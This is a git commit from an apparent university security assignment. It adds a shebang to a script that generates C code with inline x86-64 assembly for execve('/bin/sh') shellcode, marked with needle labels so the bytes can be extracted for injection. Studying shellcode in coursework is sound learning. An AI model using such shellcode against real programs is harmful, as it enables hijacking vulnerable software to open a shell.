From bb5b948f8e19d925b7370b45faca3ee8af800e74 Mon Sep 17 00:00:00 2001 From: Camil Staps Date: Sat, 2 Jan 2016 19:59:45 +0100 Subject: shell, not bash --- CamilStaps-s4498062-Assignment-6/ex2.sh | 1 + 1 file changed, 1 insertion(+) (limited to 'CamilStaps-s4498062-Assignment-6/ex2.sh') diff --git a/CamilStaps-s4498062-Assignment-6/ex2.sh b/CamilStaps-s4498062-Assignment-6/ex2.sh index 0a86bf5..1805bdc 100755 --- a/CamilStaps-s4498062-Assignment-6/ex2.sh +++ b/CamilStaps-s4498062-Assignment-6/ex2.sh @@ -1,3 +1,4 @@ +#!/bin/sh echo 'int main() {\n asm("\\\nneedle0: jmp there\\n\\\nhere: pop %rdi\\n\\\n xor %rax, %rax\\n\\\n movb $0x3b, %al\\n\\\n xor %rsi, %rsi\\n\\\n xor %rdx, %rdx\\n\\\n syscall\\n\\\nthere: call here\\n\\\n.string \\"/bin/sh\\"\\n\\\nneedle1: .octa 0xdeadbeef\\n\\\n ");\n}' > shell.c gcc shell.c -- cgit v1.2.3